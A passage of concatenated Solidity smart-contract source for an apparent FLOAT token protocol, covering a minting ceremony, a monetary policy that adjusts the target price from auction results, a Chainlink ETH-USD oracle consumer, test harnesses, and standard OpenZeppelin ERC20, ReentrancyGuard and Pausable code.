return blockNumber;
}
// Private Var checkers
function __weth() external view returns (address) {
return address(weth);
}
function __bank() external view returns (address) {
return address(bank);
}
function __float() external view returns (address) {
return address(float);
}
function __basket() external view returns (address) {
return address(basket);
}
function __monetaryPolicy() external view returns (address) {
return address(monetaryPolicy);
}
function __bankEthOracle() external view returns (address) {
return address(bankEthOracle);
}
function __floatEthOracle() external view returns (address) {
return address(floatEthOracle);
}
function __auctionDuration() external view returns (uint16) {
return auctionDuration;
}
function __auctionCooldown() external view returns (uint32) {
return auctionCooldown;
}
function __mine(uint256 _blocks) external {
blockNumber = blockNumber + _blocks;
}
function __setBlock(uint256 _number) external {
blockNumber = _number;
}
function __setCap(uint256 _cap) external {
allowanceCap = uint32(_cap);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "./interfaces/basket/IBasketReader.sol";
import "./interfaces/IMintingCeremony.sol";
import "../external-lib/SafeDecimalMath.sol";
import "../lib/Recoverable.sol";
import "../lib/Windowed.sol";
import "../tokens/SafeSupplyControlledERC20.sol";
import "../tokens/interfaces/ISupplyControlledERC20.sol";
import "../policy/interfaces/IMonetaryPolicy.sol";
/**
* @title Minting Ceremony
* @dev Note that this is recoverable as it should never store any tokens.
*/
contract MintingCeremony is
IMintingCeremony,
Windowed,
Recoverable,
ReentrancyGuard
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for ISupplyControlledERC20;
using SafeSupplyControlledERC20 for ISupplyControlledERC20;
/* ========== CONSTANTS ========== */
uint8 public constant ALLOWANCE_FACTOR = 100;
uint32 private constant CEREMONY_DURATION = 6 days;
/* ========== STATE VARIABLES ========== */
// Monetary Policy Contract that decides the target price
IMonetaryPolicy internal immutable monetaryPolicy;
ISupplyControlledERC20 internal immutable float;
IBasketReader internal immutable basket;
// Tokens that set allowance
IERC20[] internal allowanceTokens;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/**
* @notice Constructs a new Minting Ceremony
*/
constructor(
address governance_,
address monetaryPolicy_,
address basket_,
address float_,
address[] memory allowanceTokens_,
uint256 ceremonyStart
) Windowed(ceremonyStart, ceremonyStart + CEREMONY_DURATION) {
require(governance_ != address(0), "MC/ZeroAddress");
require(monetaryPolicy_ != address(0), "MC/ZeroAddress");
require(basket_ != address(0), "MC/ZeroAddress");
require(float_ != address(0), "MC/ZeroAddress");
monetaryPolicy = IMonetaryPolicy(monetaryPolicy_);
basket = IBasketReader(basket_);
float = ISupplyControlledERC20(float_);
for (uint256 i = 0; i < allowanceTokens_.length; i++) {
IERC20 allowanceToken = IERC20(allowanceTokens_[i]);
allowanceToken.balanceOf(address(0)); // Check that this is a valid token
allowanceTokens.push(allowanceToken);
}
_setupRole(RECOVER_ROLE, governance_);
}
/* ========== EVENTS ========== */
event Committed(address indexed user, uint256 amount);
event Minted(address indexed user, uint256 amount);
/* ========== VIEWS ========== */
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function underlying()
public
view
override(IMintingCeremony)
returns (address)
{
return basket.underlying();
}
/**
* @notice The allowance remaining for an account.
* @dev Based on the current staked balance in `allowanceTokens` and the existing allowance.
*/
function allowance(address account)
public
view
override(IMintingCeremony)
returns (uint256 remainingAllowance)
{
uint256 stakedBalance = 0;
for (uint256 i = 0; i < allowanceTokens.length; i++) {
stakedBalance = stakedBalance.add(allowanceTokens[i].balanceOf(account));
}
remainingAllowance = stakedBalance.mul(ALLOWANCE_FACTOR).sub(
_balances[account]
);
}
/**
* @notice Simple conversion using monetary policy.
*/
function quote(uint256 wethIn) public view returns (uint256) {
uint256 targetPriceInEth = monetaryPolicy.consult();
require(targetPriceInEth != 0, "MC/MPFailure");
return wethIn.divideDecimalRoundPrecise(targetPriceInEth);
}
/**
* @notice The amount out accounting for quote & allowance.
*/
function amountOut(address recipient, uint256 underlyingIn)
public
view
returns (uint256 floatOut)
{
// External calls occur here, but trusted
uint256 floatOutFromPrice = quote(underlyingIn);
uint256 floatOutFromAllowance = allowance(recipient);
floatOut = Math.min(floatOutFromPrice, floatOutFromAllowance);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Commit a quanity of wETH at the current price
* @dev This is marked non-reentrancy to protect against a malicious
* allowance token or monetary policy (these are trusted however).
*
* - Expects `msg.sender` to give approval to this contract from `basket.underlying()` for at least `underlyingIn`
*
* @param recipient The eventual receiver of the float
* @param underlyingIn The underlying token amount to commit to mint
* @param floatOutMin The minimum amount of FLOAT that must be received for this transaction not to revert.
*/
function commit(
address recipient,
uint256 underlyingIn,
uint256 floatOutMin
)
external
override(IMintingCeremony)
nonReentrant
inWindow
returns (uint256 floatOut)
{
floatOut = amountOut(recipient, underlyingIn);
require(floatOut >= floatOutMin, "MC/SlippageOrLowAllowance");
require(floatOut != 0, "MC/NoAllowance");
_totalSupply = _totalSupply.add(floatOut);
_balances[recipient] = _balances[recipient].add(floatOut);
emit Committed(recipient, floatOut);
IERC20(underlying()).safeTransferFrom(
msg.sender,
address(basket),
underlyingIn
);
}
/**
* @notice Release the float to market which has been committed.
*/
function mint() external override(IMintingCeremony) afterWindow {
uint256 balance = balanceOf(msg.sender);
require(balance != 0, "MC/NotDueFloat");
_totalSupply = _totalSupply.sub(balance);
_balances[msg.sender] = _balances[msg.sender].sub(balance);
emit Minted(msg.sender, balance);
float.safeMint(msg.sender, balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
/**
* @title Minting Ceremony
*/
interface IMintingCeremony {
function allowance(address account)
external
view
returns (uint256 remainingAllowance);
function underlying() external view returns (address);
function commit(
address recipient,
uint256 underlyingIn,
uint256 floatOutMin
) external returns (uint256 floatOut);
function mint() external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
// The Window is time-based so will rely on time, however period > 30 minutes
// minimise the risk of oracle manipulation.
// solhint-disable not-rely-on-time
/**
* @title A windowed contract
* @notice Provides a window for actions to occur
*/
contract Windowed {
/* ========== STATE VARIABLES ========== */
/**
* @notice The timestamp of the window start
*/
uint256 public startWindow;
/**
* @notice The timestamp of the window end
*/
uint256 public endWindow;
/* ========== CONSTRUCTOR ========== */
constructor(uint256 _startWindow, uint256 _endWindow) {
require(_startWindow > block.timestamp, "Windowed/StartInThePast");
require(_endWindow > _startWindow + 1 days, "Windowed/MustHaveDuration");
startWindow = _startWindow;
endWindow = _endWindow;
}
/* ========== MODIFIERS ========== */
modifier inWindow() {
require(block.timestamp >= startWindow, "Windowed/HasNotStarted");
require(block.timestamp <= endWindow, "Windowed/HasEnded");
_;
}
modifier afterWindow() {
require(block.timestamp > endWindow, "Windowed/NotEnded");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../MintingCeremony.sol";
contract MintingCeremonyHarness is MintingCeremony {
constructor(
address governance_,
address monetaryPolicy_,
address basket_,
address float_,
address[] memory allowanceTokens_,
uint256 ceremonyStart
)
MintingCeremony(
governance_,
monetaryPolicy_,
basket_,
float_,
allowanceTokens_,
ceremonyStart
)
{}
function __monetaryPolicy() external view returns (address) {
return address(monetaryPolicy);
}
function __basket() external view returns (address) {
return address(basket);
}
function __float() external view returns (address) {
return address(float);
}
function __allowanceTokens(uint256 idx) external view returns (address) {
return address(allowanceTokens[idx]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./interfaces/IMonetaryPolicy.sol";
import "../lib/BlockNumber.sol";
import "../lib/MathHelper.sol";
import "../external-lib/SafeDecimalMath.sol";
import "../oracle/interfaces/IEthUsdOracle.sol";
contract MonetaryPolicyV1 is IMonetaryPolicy, BlockNumber, AccessControl {
using SafeMath for uint256;
using SafeDecimalMath for uint256;
/* ========== CONSTANTS ========== */
bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
bytes32 public constant AUCTION_HOUSE_ROLE = keccak256("AUCTION_HOUSE_ROLE");
// 0.001$ <= Target Price <= 1000$ as a basic sense check
uint256 private constant MAX_TARGET_PRICE = 1000e27;
uint256 private constant MIN_TARGET_PRICE = 0.001e27;
uint256 private constant MAX_PRICE_DELTA_BOUND = 1e27;
uint256 private constant DEFAULT_MAX_PRICE_DELTA = 4e27;
uint256 private constant DEFAULT_MAX_ADJ_PERIOD = 1e6;
uint256 private constant DEFAULT_MIN_ADJ_PERIOD = 2e5;
// 150 blocks (auction duration) < T_min < T_max < 10 000 000 (~4yrs)
uint256 private constant CAP_MAX_ADJ_PERIOD = 1e7;
uint256 private constant CAP_MIN_ADJ_PERIOD = 150;
/**
* @notice The default FLOAT starting price, golden ratio
* @dev [e27]
*/
uint256 public constant STARTING_PRICE = 1.618033988749894848204586834e27;
/* ========== STATE VARIABLES ========== */
/**
* @notice The FLOAT target price in USD.
* @dev [e27]
*/
uint256 public targetPrice = STARTING_PRICE;
/**
* @notice If dynamic pricing is enabled.
*/
bool public dynamicPricing = true;
/**
* @notice Maximum price Delta of 400%
*/
uint256 public maxPriceDelta = DEFAULT_MAX_PRICE_DELTA;
/**
* @notice Maximum adjustment period T_max (Blocks)
* @dev "How long it takes us to normalise"
* - T_max => T_min, quicker initial response with higher price changes.
*/
uint256 public maxAdjustmentPeriod = DEFAULT_MAX_ADJ_PERIOD;
/**
* @notice Minimum adjustment period T_min (Blocks)
* @dev "How quickly we respond to market price changes"
* - Low T_min, increased tracking.
*/
uint256 public minAdjustmentPeriod = DEFAULT_MIN_ADJ_PERIOD;
/**
* @notice Provides the ETH-USD exchange rate e.g. 1.5e27 would mean 1 ETH = $1.5
* @dev [e27] decimal fixed point number
*/
IEthUsdOracle public ethUsdOracle;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Monetary Policy
* @param _governance Governance address (can add new roles & parameter control)
* @param _ethUsdOracle The [e27] ETH USD price feed.
*/
constructor(address _governance, address _ethUsdOracle) {
ethUsdOracle = IEthUsdOracle(_ethUsdOracle);
// Roles
_setupRole(DEFAULT_ADMIN_ROLE, _governance);
_setupRole(GOVERNANCE_ROLE, _governance);
}
/* ========== MODIFIERS ========== */
modifier onlyGovernance {
require(hasRole(GOVERNANCE_ROLE, msg.sender), "MonetaryPolicy/OnlyGovRole");
_;
}
modifier onlyAuctionHouse {
require(
hasRole(AUCTION_HOUSE_ROLE, msg.sender),
"MonetaryPolicy/OnlyAuctionHouse"
);
_;
}
/* ========== VIEWS ========== */
/**
* @notice Consult monetary policy to get the current target price of FLOAT in ETH
* @dev [e27]
*/
function consult() public view override(IMonetaryPolicy) returns (uint256) {
if (!dynamicPricing) return _toEth(STARTING_PRICE);
return _toEth(targetPrice);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- onlyGovernance ----- */
/**
* @notice Updates the EthUsdOracle
* @param _ethUsdOracle The address of the ETH-USD price oracle.
*/
function setEthUsdOracle(address _ethUsdOracle) external onlyGovernance {
require(_ethUsdOracle != address(0), "MonetaryPolicyV1/ValidAddress");
ethUsdOracle = IEthUsdOracle(_ethUsdOracle);
}
/**
* @notice Set the target price of FLOAT
* @param _targetPrice [e27]
*/
function setTargetPrice(uint256 _targetPrice) external onlyGovernance {
require(_targetPrice <= MAX_TARGET_PRICE, "MonetaryPolicyV1/MaxTarget");
require(_targetPrice >= MIN_TARGET_PRICE, "MonetaryPolicyV1/MinTarget");
targetPrice = _targetPrice;
}
/**
* @notice Allows dynamic pricing to be turned on / off.
*/
function setDynamicPricing(bool _dynamicPricing) external onlyGovernance {
dynamicPricing = _dynamicPricing;
}
/**
* @notice Allows monetary policy parameters to be adjusted.
*/
function setPolicyParameters(
uint256 _minAdjustmentPeriod,
uint256 _maxAdjustmentPeriod,
uint256 _maxPriceDelta
) external onlyGovernance {
require(
_minAdjustmentPeriod < _maxAdjustmentPeriod,
"MonetaryPolicyV1/MinAdjLTMaxAdj"
);
require(
_maxAdjustmentPeriod <= CAP_MAX_ADJ_PERIOD,
"MonetaryPolicyV1/MaxAdj"
);
require(
_minAdjustmentPeriod >= CAP_MIN_ADJ_PERIOD,
"MonetaryPolicyV1/MinAdj"
);
require(
_maxPriceDelta >= MAX_PRICE_DELTA_BOUND,
"MonetaryPolicyV1/MaxDeltaBound"
);
minAdjustmentPeriod = _minAdjustmentPeriod;
maxAdjustmentPeriod = _maxAdjustmentPeriod;
maxPriceDelta = _maxPriceDelta;
}
/* ----- onlyAuctionHouse ----- */
/**
* @notice Updates with previous auctions result
* @dev future:param round Round number
* @param lastAuctionBlock The last time an auction started.
* @param floatMarketPriceInEth [e27] The current float market price (ETH)
* @param basketFactor [e27] The basket factor given the prior target price
* @return targetPriceInEth [e27]
*/
function updateGivenAuctionResults(
uint256,
uint256 lastAuctionBlock,
uint256 floatMarketPriceInEth,
uint256 basketFactor
) external override(IMonetaryPolicy) onlyAuctionHouse returns (uint256) {
// Exit early if this is the first auction
if (lastAuctionBlock == 0) {
return consult();
}
return
_updateTargetPrice(lastAuctionBlock, floatMarketPriceInEth, basketFactor);
}
/**
* @dev Converts [e27] USD price, to an [e27] ETH Price
*/
function _toEth(uint256 price) internal view returns (uint256) {
uint256 ethInUsd = ethUsdOracle.consult();
return price.divideDecimalRoundPrecise(ethInUsd);
}
/**
* @dev Updates the $ valued target price, returns the eth valued target price.
*/
function _updateTargetPrice(
uint256 _lastAuctionBlock,
uint256 _floatMarketPriceInEth,
uint256 _basketFactor
) internal returns (uint256) {
// _toEth pulled out as we do a _fromEth later.
uint256 ethInUsd = ethUsdOracle.consult();
uint256 priorTargetPriceInEth =
targetPrice.divideDecimalRoundPrecise(ethInUsd);
// Check if basket and FLOAT are moving the same direction
bool basketFactorDown = _basketFactor < SafeDecimalMath.PRECISE_UNIT;
bool floatDown = _floatMarketPriceInEth < priorTargetPriceInEth;
if (basketFactorDown != floatDown) {
return priorTargetPriceInEth;
}
// N.B: block number will always be >= _lastAuctionBlock
uint256 auctionTimePeriod = _blockNumber().sub(_lastAuctionBlock);
uint256 normDelta =
_normalisedDelta(_floatMarketPriceInEth, priorTargetPriceInEth);
uint256 adjustmentPeriod = _adjustmentPeriod(normDelta);
// [e27]
uint256 basketFactorDiff =
MathHelper.diff(_basketFactor, SafeDecimalMath.PRECISE_UNIT);
uint256 targetChange =
priorTargetPriceInEth.multiplyDecimalRoundPrecise(
basketFactorDiff.mul(auctionTimePeriod).div(adjustmentPeriod)
);
// If we have got this far, then we know that market and basket are
// in the same direction, so basketFactor can be used to choose direction.
uint256 targetPriceInEth =
basketFactorDown
? priorTargetPriceInEth.sub(targetChange)
: priorTargetPriceInEth.add(targetChange);
targetPrice = targetPriceInEth.multiplyDecimalRoundPrecise(ethInUsd);
return targetPriceInEth;
}
function _adjustmentPeriod(uint256 _normDelta)
internal
view
returns (uint256)
{
// calculate T, 'the adjustment period', similar to "lookback" as it controls the length of the tail
// T = T_max - d (T_max - T_min).
// = d * T_min + T_max - d * T_max
// TBC: This doesn't need safety checks
// T_min <= T <= T_max
return
minAdjustmentPeriod
.multiplyDecimalRoundPrecise(_normDelta)
.add(maxAdjustmentPeriod)
.sub(maxAdjustmentPeriod.multiplyDecimalRoundPrecise(_normDelta));
}
/**
* @notice Obtain normalised delta between market and target price
*/
function _normalisedDelta(
uint256 _floatMarketPriceInEth,
uint256 _priorTargetPriceInEth
) internal view returns (uint256) {
uint256 delta =
MathHelper.diff(_floatMarketPriceInEth, _priorTargetPriceInEth);
uint256 scaledDelta =
delta.divideDecimalRoundPrecise(_priorTargetPriceInEth);
// Invert delta if contraction to flip curve from concave increasing to convex decreasing
// Also allows for a greater response in expansions than contractions.
if (_floatMarketPriceInEth < _priorTargetPriceInEth) {
scaledDelta = scaledDelta.divideDecimalRoundPrecise(
SafeDecimalMath.PRECISE_UNIT.sub(scaledDelta)
);
}
// Normalise delta based on Dmax -> 0 <= d <= X
uint256 normDelta = scaledDelta.divideDecimalRoundPrecise(maxPriceDelta);
// Cap normalised delta 0 <= d <= 1
if (normDelta > SafeDecimalMath.PRECISE_UNIT) {
normDelta = SafeDecimalMath.PRECISE_UNIT;
}
return normDelta;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
library MathHelper {
function diff(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x > y ? x - y : y - x;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
interface IEthUsdOracle {
/**
* @notice Spot price
* @return price The latest price as an [e27]
*/
function consult() external view returns (uint256 price);
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/IEthUsdOracle.sol";
contract ChainlinkEthUsdConsumer is IEthUsdOracle {
using SafeMath for uint256;
/// @dev Number of decimal places in the representations. */
uint8 private constant AGGREGATOR_DECIMALS = 8;
uint8 private constant PRICE_DECIMALS = 27;
uint256 private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR =
10**uint256(PRICE_DECIMALS - AGGREGATOR_DECIMALS);
AggregatorV3Interface internal immutable priceFeed;
/**
* @notice Construct a new price consumer
* @dev Source: https://docs.chain.link/docs/ethereum-addresses#config
*/
constructor(address aggregatorAddress) {
priceFeed = AggregatorV3Interface(aggregatorAddress);
}
/// @inheritdoc IEthUsdOracle
function consult()
external
view
override(IEthUsdOracle)
returns (uint256 price)
{
(, int256 _price, , , ) = priceFeed.latestRoundData();
require(_price >= 0, "ChainlinkConsumer/StrangeOracle");
return (price = uint256(_price).mul(
UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR
));
}
/**
* @notice Retrieves decimals of price feed
* @dev (`AGGREGATOR_DECIMALS` for ETH-USD by default, scaled up to `PRICE_DECIMALS` here)
*/
function getDecimals() external pure returns (uint8 decimals) {
return (decimals = PRICE_DECIMALS);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC20.sol";
import "../../utils/Pausable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
